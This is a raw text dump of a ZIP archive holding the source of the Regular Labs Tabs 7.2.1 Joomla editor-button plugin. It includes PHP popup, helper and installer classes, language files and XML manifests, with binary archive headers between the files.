use RegularLabs\Library\RegEx as RL_RegEx;

class Popup
	extends \RegularLabs\Library\EditorButtonPopup
{
	var $require_core_auth = false;

	public function loadScripts()
	{
		// Tag character start and end
		list($tag_start, $tag_end) = explode('.', $this->params->tag_characters);

		$script = "
			var tabs_tag_open = '" . RL_RegEx::replace('[^a-z0-9-_]', '', $this->params->tag_open) . "';
			var tabs_tag_close = '" . RL_RegEx::replace('[^a-z0-9-_]', '', $this->params->tag_close) . "';
			var tabs_tag_delimiter = '" . (($this->params->tag_delimiter == '=') ? '=' : ' ') . "';
			var tabs_tag_characters = ['" . $tag_start . "', '" . $tag_end . "'];
			var tabs_editorname = '" . JFactory::getApplication()->input->getString('name', 'text') . "';
			var tabs_content_placeholder = '" . JText::_('TAB_TEXT', true) . "';
			var tabs_error_empty_title = '" . JText::_('TAB_ERROR_EMPTY_TITLE', true) . "';
			var tabs_max_count = " . (int) $this->params->button_max_count . ";
		";
		RL_Document::scriptDeclaration($script);

		RL_Document::script('tabs/popup.min.js', '7.2.1');
	}

	public function loadStyles()
	{
		RL_Document::style('tabs/popup.min.css', '7.2.1');
	}
}

$class = new Popup('tabs');
$class->render();
PK       ! .I      editors-xtd/tabs/helper.phpnu bS        <?php
/**
 * @package         Tabs
 * @version         7.2.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2018 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\RegEx as RL_RegEx;

/**
 ** Plugin that places the button
 */
class PlgButtonTabsHelper
	extends \RegularLabs\Library\EditorButtonHelper
{
	/**
	 * Display the button
	 *
	 * @param string $editor_name
	 *
	 * @return JObject|null A button object
	 */
	public function render($editor_name)
	{
		if ($this->params->button_use_simple_button)
		{
			return $this->renderSimpleButton($editor_name);
		}

		return $this->renderPopupButton($editor_name);
	}

	private function renderSimpleButton($editor_name)
	{
		$this->params->tag_open      = RL_RegEx::replace('[^a-z0-9-_]', '', $this->params->tag_open);
		$this->params->tag_close     = RL_RegEx::replace('[^a-z0-9-_]', '', $this->params->tag_close);
		$this->params->tag_delimiter = ($this->params->tag_delimiter == '=') ? '=' : ' ';

		$text = $this->getExampleText();
		$text = str_replace('\\\\n', '\\n', addslashes($text));
		$text = str_replace('{', '{\'+\'', $text);

		$js = "
			function insertTabs(editor) {
				selection = RegularLabsScripts.getEditorSelection(editor);
				selection = selection ? selection : '" . JText::_('TAB_TEXT', true) . "';

				text = '" . $text . "';
				text = text.replace('[:SELECTION:]', selection);

				jInsertEditorText(text, editor);
			}
		";
		RL_Document::scriptDeclaration($js);

		$button = new JObject;

		$button->modal   = false;
		$button->class   = 'btn';
		$button->link    = '#';
		$button->onclick = 'insertTabs(\'' . $editor_name . '\');return false;';
		$button->text    = $this->getButtonText();
		$button->name    = $this->getIcon();

		return $button;
	}

	private function getExampleText()
	{
		switch (true)
		{
			case ($this->params->button_use_custom_code && $this->params->button_custom_code):
				return $this->getCustomText();
			default:
				return $this->getDefaultText();
		}
	}

	private function getDefaultText()
	{
		return
			'{' . $this->params->tag_open . $this->params->tag_delimiter . JText::_('TAB_TITLE') . ' 1}\n' .
			'<p>[:SELECTION:]</p>\n' .
			'<p>{' . $this->params->tag_open . $this->params->tag_delimiter . JText::_('TAB_TITLE') . ' 2}</p>\n' .
			'<p>' . JText::_('TAB_TEXT') . '</p>\n' .
			'<p>{/' . $this->params->tag_close . '}</p>';
	}

	private function getCustomText()
	{
		$text = trim($this->params->button_custom_code);
		$text = str_replace(["\r", "\n"], ['', '</p>\n<p>'], trim($text)) . '</p>';
		$text = RL_RegEx::replace('^(.*?)</p>', '\1', $text);
		$text = str_replace(
			['{tab ', '{/tabs}'],
			['{' . $this->params->tag_open . $this->params->tag_delimiter, '{/' . $this->params->tag_close . '}'],
			trim($text)
		);

		return $text;
	}
}
PK       ! φ      editors-xtd/tabs/popup.tmpl.phpnu bS        <?php
/**
 * @package         Tabs
 * @version         7.2.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2018 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

$xmlfile = __DIR__ . '/fields.xml';
?>
<div class="reglab-overlay"></div>

<nav class="navbar navbar-fixed-top">
	<div class="navbar-inner">
		<div class="container-fluid">
			<div class="btn-toolbar" id="toolbar">
				<div class="btn-wrapper" id="toolbar-apply">
					<button onclick="if(RegularLabsTabsPopup.insertText()){window.parent.SqueezeBox.close();}" class="btn btn-small btn-success">
						<span class="icon-apply icon-white"></span> <?php echo JText::_('RL_INSERT') ?>
					</button>
				</div>
				<div class="btn-wrapper" id="toolbar-cancel">
					<button onclick="if(confirm('<?php echo JText::_('RL_ARE_YOU_SURE'); ?>')){window.parent.SqueezeBox.close();}" class="btn btn-small">
						<span class="icon-cancel "></span> <?php echo JText::_('JCANCEL') ?>
					</button>
				</div>

				<?php if (JFactory::getApplication()->isAdmin() && JFactory::getUser()->authorise('core.admin', 1)) : ?>
					<div class="btn-wrapper" id="toolbar-options">
						<button onclick="window.open('index.php?option=com_plugins&filter_folder=system&filter_search=<?php echo JText::_('TABS') ?>');" class="btn btn-small">
							<span class="icon-options"></span> <?php echo JText::_('JOPTIONS') ?>
						</button>
					</div>
				<?php endif; ?>
			</div>
		</div>
	</div>
</nav>

<div class="header has-navbar-fixed-top">
	<h1 class="page-title">
		<span class="icon-reglab icon-tabs"></span>
		<?php echo JText::_('INSERT_TABS'); ?>
	</h1>
</div>

<div class="container-fluid container-main">
	<form action="index.php" id="tabsForm" method="post">

		<div class="row-fluid">

			<div class="span8">
				<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', ['active' => 'tab_1']); ?>

				<?php for ($i = 1; $i <= $this->params->button_max_count; $i++) : ?>
					<?php
					$form = new JForm('tab', ['control' => 'tab_' . $i]);
					$form->loadFile($xmlfile, 1, '//config');

					$title = '<span class="tab_' . $i . '_open_icon icon-default hasTooltip"'
						. ' title="' . JText::_('TAB_DEFAULT') . '" style="display:none;"></span> '
						. JText::sprintf('TAB_TAB_NUMBER', $i);
					?>

					<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'tab_' . $i, $title); ?>

					<h1><?php echo $title; ?></h1>

					<div class="row-fluid">
						<div class="span8">
							<?php echo str_replace('xxx', $i, $form->renderFieldset('tab_notice')); ?>

							<div class="form-inline form-inline-header">
								<div class="control-group">
									<div class="control-label">
										<label for="tab_<?php echo $i; ?>_title"><?php echo JText::_('JGLOBAL_TITLE'); ?></label>
									</div>
									<div class="controls">
										<input type="text" name="tab_<?php echo $i; ?>[title]" id="tab_<?php echo $i; ?>_title" value=""
										       class="input-xxlarge input-large-text" size="40">
									</div>
								</div>
							</div>

							<div class="control-group">
								<div class="controls">
									<em><?php echo JText::_('TAB_CONTENT_DESC'); ?></em>

									<div id="tab_<?php echo $i; ?>_content" style="display:none;" class="well well-small"></div>
								</div>
							</div>
						</div>

						<div class="span4">
							<?php echo $form->renderFieldset('tab_params'); ?>
						</div>
					</div>

					<?php echo JHtml::_('bootstrap.endTab'); ?>
				<?php endfor; ?>

				<?php echo JHtml::_('bootstrap.endTabSet'); ?>
			</div>

			<div class="span4">
				<h3><?php echo JText::_('TAB_SET_SETTINGS'); ?></h3>

				<?php
				$form = new JForm('tab', ['control' => 'tab_1']);
				$form->loadFile($xmlfile, 1, '//config');
				echo $form->renderFieldset('params');
				?>
			</div>
		</div>
	</form>
</div>
PK       ! `j    #  editors-xtd/tabs/script.install.phpnu bS        <?php
/**
 * @package         Tabs
 * @version         7.2.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2018 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

require_once __DIR__ . '/script.install.helper.php';

class PlgEditorsXtdTabsInstallerScript extends PlgEditorsXtdTabsInstallerScriptHelper
{
	public $name           = 'TABS';
	public $alias          = 'tabs';
	public $extension_type = 'plugin';
	public $plugin_folder  = 'editors-xtd';

	public function uninstall($adapter)
	{
		$this->uninstallPlugin($this->extname, 'system');
	}
}
PK       ! b	    >  editors-xtd/tabs/language/fr-FR/fr-FR.plg_editors-xtd_tabs.ininu bS        ;; @package         Tabs
;; @version         7.2.1
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2018 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://www.regularlabs.com/translate
;;
;; @translation     Pierre Cabrol <p.cabrol@midiconcept.fr> MidiConcept, Mihàly Marti <info@sarki.ch> Sarki (sarki.ch)

PLG_EDITORS-XTD_TABS="Bouton - Panneaux à onglets Regular Labs"
PLG_EDITORS-XTD_TABS_DESC="Le plug-in Bouton Panneaux à onglets Regular Labs permet d'afficher un bouton sous l'éditeur pour créer/insérer des panneaux à onglets (<i>tabs</i>) dans tous les contenus Joomla!"
TABS="Panneaux à onglets"

TABS_DESC="Le système Tabs de Regular Labs vous permet de créer/insérer des panneaux à onglets (<i>tabs</i>) dans tous les contenus Joomla tels les descriptions de catégorie, les articles, les modules personnalisés, et tout autre composant ayant une zone d'éditeur.<br>Pour en savoir plus, consultez le site officiel de l'extension par le lien ci-dessous."

TAB_SETTINGS="Vous pouvez également consulter le plug-in [[%1:start link%]]Panneaux à onglets Regular Labs[[%2:end link%]] qui permet de configurer les éléments insérés par le bouton."
TAB_TEXT="Votre texte..."
TAB_THE_SYSTEM_PLUGIN="Plug-in système Panneaux à onglets Regular Labs"
TAB_TITLE="Titre de l'onglet"
PK       ! iI>  >  B  editors-xtd/tabs/language/fr-FR/fr-FR.plg_editors-xtd_tabs.sys.ininu bS        ;; @package         Tabs
;; @version         7.2.1
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2018 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://www.regularlabs.com/translate
;;
;; @translation     Pierre Cabrol <p.cabrol@midiconcept.fr> MidiConcept, Mihàly Marti <info@sarki.ch> Sarki (sarki.ch)

PLG_EDITORS-XTD_TABS="Bouton - Panneaux à onglets Regular Labs"
PLG_EDITORS-XTD_TABS_DESC="Le plug-in Bouton Panneaux à onglets Regular Labs permet d'afficher un bouton sous l'éditeur pour créer/insérer des panneaux à onglets (<i>tabs</i>) dans tous les contenus Joomla!"
TABS="Panneaux à onglets"
PK       ! ϗs    >  editors-xtd/tabs/language/en-GB/en-GB.plg_editors-xtd_tabs.ininu bS        ;; @package         Tabs
;; @version         7.2.1
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2018 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://www.regularlabs.com/translate

PLG_EDITORS-XTD_TABS="Button - Regular Labs - Tabs"
PLG_EDITORS-XTD_TABS_DESC="Tabs - make content tabs in Joomla!"
TABS="Tabs"

TABS_DESC="With Tabs you can make content tabs anywhere in Joomla!"

TAB_SETTINGS="Please see the [[%1:start link%]]Tabs system plugin[[%2:end link%]] for settings."
TAB_TEXT="Your text..."
TAB_THE_SYSTEM_PLUGIN="the Tabs system plugin"
TAB_TITLE="Tab Title"
PK       ! V    B  editors-xtd/tabs/language/en-GB/en-GB.plg_editors-xtd_tabs.sys.ininu bS        ;; @package         Tabs
;; @version         7.2.1
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2018 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://www.regularlabs.com/translate

PLG_EDITORS-XTD_TABS="Button - Regular Labs - Tabs"
PLG_EDITORS-XTD_TABS_DESC="Tabs - make content tabs in Joomla!"
TABS="Tabs"
PK       ! Xxr  r    editors-xtd/tabs/tabs.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.4" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_tabs</name>
	<description>PLG_EDITORS-XTD_TABS_DESC</description>
	<version>7.2.1</version>
	<creationDate>March 2018</creationDate>
	<author>Regular Labs (Peter van Westen)</author>
	<authorEmail>info@regularlabs.com</authorEmail>
	<authorUrl>https://www.regularlabs.com</authorUrl>
	<copyright>Copyright © 2018 Regular Labs - All Rights Reserved</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>

	<scriptfile>script.install.php</scriptfile>

	<files>
		<filename plugin="tabs">tabs.php</filename>
		<filename>fields.xml</filename>
		<filename>helper.php</filename>
		<filename>popup.php</filename>
		<filename>popup.tmpl.php</filename>
		<filename>script.install.helper.php</filename>
		<folder>language</folder>
	</files>

	<config>
		<fields name="params" addfieldpath="/libraries/regularlabs/fields">
			<fieldset name="description">
				<field name="@loadlanguage_regularlabs" type="rl_loadlanguage" extension="plg_system_regularlabs" />
				<field name="@loadlanguage" type="rl_loadlanguage" extension="plg_editors-xtd_tabs" />
				<field name="@license" type="rl_license" extension="TABS" />
				<field name="@version" type="rl_version" extension="TABS" />
				<field name="@dependency" type="rl_dependency"
					   label="TAB_THE_SYSTEM_PLUGIN"
					   file="/plugins/system/tabs/tabs.php" />
				<field name="@header" type="rl_header"
					   label="TABS"
					   description="TABS_DESC"
					   url="https://www.regularlabs.com/tabs" />

				<field name="@notice_settings" type="rl_plaintext"
					   description="TAB_SETTINGS,&lt;a href=&quot;index.php?option=com_plugins&amp;filter_folder=system&amp;filter_search=tabs&quot; target=&quot;_blank&quot;&gt;,&lt;/a&gt;" />
			</fieldset>
		</fields>
	</config>
</extension>
PK       ! t[iz  z    editors-xtd/tabs/tabs.phpnu bS        <?php
/**
 * @package         Tabs
 * @version         7.2.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2018 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
	return;
}

require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';

/**
 * Button Plugin that places Editor Buttons
 */
class PlgButtonTabs
	extends \RegularLabs\Library\EditorButton
{
	var $require_core_auth = false;
}
PK       ! (  (    editors-xtd/tabs/fields.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<config addfieldpath="/libraries/regularlabs/fields">
	<fieldset name="tab_notice">
		<field name="@toggler_title_empty_a" type="rl_toggler" param="tab_xxx_title" value="" />
		<field name="@notice_title_empty" type="note" description="TAB_TITLE_EMPTY" />
		<field name="@toggler_title_empty_b" type="rl_toggler" />
	</fieldset>

	<fieldset name="tab_params">
		<field name="open" type="radio" class="btn-group" default="0"
			   label="TAB_DEFAULT"
			   description="TAB_DEFAULT_DESC">
			<option value="1">JYES</option>
		</field>
		<field name="alias" type="text"
			   label="JFIELD_ALIAS_LABEL"
			   description="TAB_ALIAS_DESC" />
		<field name="class" type="text"
			   label="RL_CSS_CLASS"
			   description="RL_CSS_CLASS_DESC" />
		<field name="@notice_scroll" type="rl_plaintext"
			   label="TAB_SCROLL"
			   description="TAB_SCROLL_DESC"
			   default="RL_ONLY_AVAILABLE_IN_PRO" />
		<field name="@notice_access" type="rl_plaintext"
			   label="JFIELD_ACCESS_LABEL"
			   description="JFIELD_ACCESS_DESC"
			   default="RL_ONLY_AVAILABLE_IN_PRO" />
		<field name="@notice_usergroup" type="rl_plaintext"
			   label="RL_USER_GROUPS"
			   description="RL_USER_GROUPS_DESC"
			   default="RL_ONLY_AVAILABLE_IN_PRO" />
		<field name="@notice_extra" type="rl_plaintext"
			   label="RL_EXTRA_PARAMETERS"
			   description="RL_EXTRA_PARAMETERS_DESC"
			   default="RL_ONLY_AVAILABLE_IN_PRO" />
	</fieldset>

	<fieldset name="params">
		<field name="mainclass" type="text" default=""
			   label="TAB_MAIN_CLASS"
			   description="TAB_MAIN_CLASS_DESC" />
		<field name="color_inactive_handles" type="radio" class="btn-group" default=""
			   label="TAB_COLOR_INACTIVE_HANDLES"
			   description="TAB_COLOR_INACTIVE_HANDLES_DESC">
			<option value="">JDEFAULT</option>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>
		<field name="outline_handles" type="radio" class="btn-group" default=""
			   label="TAB_OUTLINE_HANDLES"
			   description="TAB_OUTLINE_HANDLES_DESC">
			<option value="">JDEFAULT</option>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>
		<field name="outline_content" type="radio" class="btn-group" default=""
			   label="TAB_OUTLINE_CONTENT"
			   description="TAB_OUTLINE_CONTENT_DESC">
			<option value="">JDEFAULT</option>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>
		<field name="alignment" type="radio" class="btn-group" default=""
			   label="TAB_ALIGNMENT_HANDLES"
			   description="TAB_ALIGNMENT_HANDLES_DESC">
			<option value="">JDEFAULT</option>
			<option value="left">&lt;span class="icon-reglab-paragraph-left">&lt;/span></option>
			<option value="right">&lt;span class="icon-reglab-paragraph-right">&lt;/span></option>
			<option value="center">&lt;span class="icon-reglab-paragraph-center">&lt;/span></option>
			<option value="justify">&lt;span class="icon-reglab-paragraph-justify">&lt;/span></option>
		</field>
		<field name="@notice_positioning" type="rl_plaintext"
			   label="TAB_POSITIONING_HANDLES"
			   description="TAB_POSITIONING_HANDLES_DESC"
			   default="RL_ONLY_AVAILABLE_IN_PRO" />
		
		<field name="@notice_slideshow" type="rl_plaintext"
			   label="TAB_SLIDESHOW"
			   description="SLIDESHOW_DESC"
			   default="RL_ONLY_AVAILABLE_IN_PRO" />
		<field name="nested" type="radio" class="btn-group" default="0"
			   label="TAB_NESTED_SET"
			   description="TAB_NESTED_SET_DESC">
			<option value="">JNO</option>
			<option value="1">JYES</option>
		</field>
		<field name="@toggler_nested_a" type="rl_toggler" param="tab_1_nested" value="1" />
		<field name="nested_id" type="text" class="btn-group" default="nested"
			   label="TAB_NESTED_ID"
			   description="TAB_NESTED_ID_DESC" />
		<field name="@toggler_nested_b" type="rl_toggler" />
	</fieldset>
</config>
PK       ! ifT  fT  *  editors-xtd/tabs/script.install.helper.phpnu bS        <?php
/**
 * @package         Tabs
 * @version         7.2.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2018 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

class PlgEditorsXtdTabsInstallerScriptHelper
{
	public $name            = '';
	public $alias           = '';
	public $extname         = '';
	public $extension_type  = '';
	public $plugin_folder   = 'system';
	public $module_position = 'status';
	public $client_id       = 1;
	public $install_type    = 'install';
	public $show_message    = true;
	public $db              = null;
	public $softbreak       = null;

	public function __construct(&$params)
	{
		$this->extname = $this->extname ?: $this->alias;
		$this->db      = JFactory::getDbo();
	}

	public function preflight($route, JAdapterInstance $adapter)
	{
		if ( ! in_array($route, ['install', 'update']))
		{
			return true;
		}

		JFactory::getLanguage()->load('plg_system_regularlabsinstaller', JPATH_PLUGINS . '/system/regularlabsinstaller');

		if ($this->show_message && $this->isInstalled())
		{
			$this->install_type = 'update';
		}

		if ($this->onBeforeInstall($route) === false)
		{
			return false;
		}

		return true;
	}

	public function postflight($route, JAdapterInstance $adapter)
	{
		$this->removeGlobalLanguageFiles();
		$this->removeUnusedLanguageFiles();

		JFactory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, $this->getMainFolder());

		if ( ! in_array($route, ['install', 'update']))
		{
			return true;
		}

		$this->fixExtensionNames();
		$this->updateUpdateSites();
		$this->removeAdminCache();

		if ($this->onAfterInstall($route) === false)
		{
			return false;
		}

		if ($route == 'install')
		{
			$this->publishExtension();
		}

		if ($this->show_message)
		{
			$this->addInstalledMessage();
		}

		JFactory::getCache()->clean('com_plugins');
		JFactory::getCache()->clean('_system');

		return true;
	}

	public function isInstalled()
	{
		if ( ! is_file($this->getInstalledXMLFile()))
		{
			return false;
		}

		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('extension_id'))
			->from('#__extensions')
			->where($this->db->quoteName('type') . ' = ' . $this->db->quote($this->extension_type))
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName()));
		$this->db->setQuery($query, 0, 1);
		$result = $this->db->loadResult();

		return empty($result) ? false : true;
	}

	public function getMainFolder()
	{
		switch ($this->extension_type)
		{
			case 'plugin' :
				return JPATH_PLUGINS . '/' . $this->plugin_folder . '/' . $this->extname;

			case 'component' :
				return JPATH_ADMINISTRATOR . '/components/com_' . $this->extname;

			case 'module' :
				return JPATH_ADMINISTRATOR . '/modules/mod_' . $this->extname;

			case 'library' :
				return JPATH_SITE . '/libraries/' . $this->extname;
		}
	}

	public function getInstalledXMLFile()
	{
		return $this->getXMLFile($this->getMainFolder());
	}

	public function getCurrentXMLFile()
	{
		return $this->getXMLFile(__DIR__);
	}

	public function getXMLFile($folder)
	{
		switch ($this->extension_type)
		{
			case 'module' :
				return $folder . '/mod_' . $this->extname . '.xml';

			default :
				return $folder . '/' . $this->extname . '.xml';
		}
	}

	public function uninstallExtension($extname, $type = 'plugin', $folder = 'system', $show_message = true)
	{
		if (empty($extname))
		{
			return;
		}

		$folders = [];

		switch ($type)
		{
			case 'plugin';
				$folders[] = JPATH_PLUGINS . '/' . $folder . '/' . $extname;
				break;

			case 'component':
				$folders[] = JPATH_ADMINISTRATOR . '/components/com_' . $extname;
				$folders[] = JPATH_SITE . '/components/com_' . $extname;
				break;

			case 'module':
				$folders[] = JPATH_ADMINISTRATOR . '/modules/mod_' . $extname;
				$folders[] = JPATH_SITE . '/modules/mod_' . $extname;
				break;
		}

		if ( ! $this->foldersExist($folders))
		{
			return;
		}

		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('extension_id'))
			->from('#__extensions')
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName($type, $extname)))
			->where($this->db->quoteName('type') . ' = ' . $this->db->quote($type));

		if ($type == 'plugin')
		{
			$query->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($folder));
		}

		$this->db->setQuery($query);
		$ids = $this->db->loadColumn();

		if (empty($ids))
		{
			foreach ($folders as $folder)
			{
				JFolder::delete($folder);
			}

			return;
		}

		$ignore_ids = JFactory::getApplication()->getUserState('rl_ignore_uninstall_ids', []);

		if (JFactory::getApplication()->input->get('option') == 'com_installer' && JFactory::getApplication()->input->get('task') == 'remove')
		{
			// Don't attempt to uninstall extensions that are already selected to get uninstalled by them selves
			$ignore_ids = array_merge($ignore_ids, JFactory::getApplication()->input->get('cid', [], 'array'));
			JFactory::getApplication()->input->set('cid', array_merge($ignore_ids, $ids));
		}

		$ids = array_diff($ids, $ignore_ids);

		if (empty($ids))
		{
			return;
		}

		$ignore_ids = array_merge($ignore_ids, $ids);
		JFactory::getApplication()->setUserState('rl_ignore_uninstall_ids', $ignore_ids);

		foreach ($ids as $id)
		{
			$tmpInstaller = new JInstaller;
			$tmpInstaller->uninstall($type, $id);
		}

		if ($show_message)
		{
			JFactory::getApplication()->enqueueMessage(
				JText::sprintf(
					'COM_INSTALLER_UNINSTALL_SUCCESS',
					JText::_('COM_INSTALLER_TYPE_TYPE_' . strtoupper($type))
				)
			);
		}
	}

	public function foldersExist($folders = [])
	{
		foreach ($folders as $folder)
		{
			if (is_dir($folder))
			{
				return true;
			}
		}

		return false;
	}

	public function uninstallPlugin($extname, $folder = 'system', $show_message = true)
	{
		$this->uninstallExtension($extname, 'plugin', $folder, $show_message);
	}

	public function uninstallComponent($extname, $show_message = true)
	{
		$this->uninstallExtension($extname, 'component', null, $show_message);
	}

	public function uninstallModule($extname, $show_message = true)
	{
		$this->uninstallExtension($extname, 'module', null, $show_message);
	}

	public function publishExtension()
	{
		switch ($this->extension_type)
		{
			case 'plugin' :
				$this->publishPlugin();

			case 'module' :
				$this->publishModule();
		}
	}

	public function publishPlugin()
	{
		$query = $this->db->getQuery(true)
			->update('#__extensions')
			->set($this->db->quoteName('enabled') . ' = 1')
			->where($this->db->quoteName('type') . ' = ' . $this->db->quote('plugin'))
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->extname))
			->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($this->plugin_folder));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	public function publishModule()
	{
		// Get module id
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('id'))
			->from('#__modules')
			->where($this->db->quoteName('module') . ' = ' . $this->db->quote('mod_' . $this->extname))
			->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id);
		$this->db->setQuery($query, 0, 1);
		$id = $this->db->loadResult();

		if ( ! $id)
		{
			return;
		}

		// check if module is already in the modules_menu table (meaning is is already saved)
		$query->clear()
			->select($this->db->quoteName('moduleid'))
			->from('#__modules_menu')
			->where($this->db->quoteName('moduleid') . ' = ' . (int) $id);
		$this->db->setQuery($query, 0, 1);
		$exists = $this->db->loadResult();

		if ($exists)
		{
			return;
		}

		// Get highest ordering number in position
		$query->clear()
			->select($this->db->quoteName('ordering'))
			->from('#__modules')
			->where($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position))
			->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id)
			->order('ordering DESC');
		$this->db->setQuery($query, 0, 1);
		$ordering = $this->db->loadResult();
		$ordering++;

		// publish module and set ordering number
		$query->clear()
			->update('#__modules')
			->set($this->db->quoteName('published') . ' = 1')
			->set($this->db->quoteName('ordering') . ' = ' . (int) $ordering)
			->set($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position))
			->where($this->db->quoteName('id') . ' = ' . (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();

		// add module to the modules_menu table
		$query->clear()
			->insert('#__modules_menu')
			->columns([$this->db->quoteName('moduleid'), $this->db->quoteName('menuid')])
			->values((int) $id . ', 0');
		$this->db->setQuery($query);
		$this->db->execute();
	}

	public function addInstalledMessage()
	{
		JFactory::getApplication()->enqueueMessage(
			JText::sprintf(
				JText::_($this->install_type == 'update' ? 'RLI_THE_EXTENSION_HAS_BEEN_UPDATED_SUCCESSFULLY' : 'RLI_THE_EXTENSION_HAS_BEEN_INSTALLED_SUCCESSFULLY'),
				'<strong>' . JText::_($this->name) . '</strong>',
				'<strong>' . $this->getVersion() . '</strong>',
				$this->getFullType()
			)
		);
	}

	public function getPrefix()
	{
		switch ($this->extension_type)
		{
			case 'plugin';
				return JText::_('plg_' . strtolower($this->plugin_folder));

			case 'component':
				return JText::_('com');

			case 'module':
				return JText::_('mod');

			case 'library':
				return JText::_('lib');

			default:
				return $this->extension_type;
		}
	}

	public function getElementName($type = null, $extname = null)
	{
		$type    = is_null($type) ? $this->extension_type : $type;
		$extname = is_null($extname) ? $this->extname : $extname;

		switch ($type)
		{
			case 'component' :
				return 'com_' . $extname;

			case 'module' :
				return 'mod_' . $extname;

			case 'plugin' :
			default:
				return $extname;
		}
	}

	public function getFullType()
	{
		return JText::_('RLI_' . strtoupper($this->getPrefix()));
	}

	public function getVersion($file = '')
	{
		$file = $file ?: $this->getCurrentXMLFile();

		if ( ! is_file($file))
		{
			return '';
		}

		$xml = JApplicationHelper::parseXMLInstallFile($file);

		if ( ! $xml || ! isset($xml['version']))
		{
			return '';
		}

		return $xml['version'];
	}

	public function isNewer()
	{
		if ( ! $installed_version = $this->getVersion($this->getInstalledXMLFile()))
		{
			return true;
		}

		$package_version = $this->getVersion();

		return version_compare($installed_version, $package_version, '<=');
	}

	public function canInstall()
	{
		// The extension is not installed yet
		if ( ! $installed_version = $this->getVersion($this->getInstalledXMLFile()))
		{
			return true;
		}

		// The free version is installed. So any version is ok to install
		if (strpos($installed_version, 'PRO') === false)
		{
			return true;
		}

		// Current package is a pro version, so all good
		if (strpos($this->getVersion(), 'PRO') !== false)
		{
			return true;
		}

		JFactory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, __DIR__);

		JFactory::getApplication()->enqueueMessage(JText::_('RLI_ERROR_PRO_TO_FREE'), 'error');

		JFactory::getApplication()->enqueueMessage(
			html_entity_decode(
				JText::sprintf(
					'RLI_ERROR_UNINSTALL_FIRST',
					'<a href="https://www.regularlabs.com/extensions/' . $this->alias . '" target="_blank">',
					'</a>',
					JText::_($this->name)
				)
			), 'error'
		);

		return false;
	}

	/*
	 * Fixes incorrectly formed versions because of issues in old packager
	 */
	public function fixFileVersions($file)
	{
		if (is_array($file))
		{
			foreach ($file as $f)
			{
				self::fixFileVersions($f);
			}

			return;
		}

		if ( ! is_string($file) || ! is_file($file))
		{
			return;
		}

		$contents = file_get_contents($file);

		if (
			strpos($contents, 'FREEFREE') === false
			&& strpos($contents, 'FREEPRO') === false
			&& strpos($contents, 'PROFREE') === false
			&& strpos($contents, 'PROPRO') === false
		)
		{
			return;
		}

		$contents = str_replace(
			['FREEFREE', 'FREEPRO', 'PROFREE', 'PROPRO'],
			['FREE', 'PRO', 'FREE', 'PRO'],
			$contents
		);

		JFile::write($file, $contents);
	}

	public function onBeforeInstall($route)
	{
		if ( ! $this->canInstall())
		{
			return false;
		}

		return true;
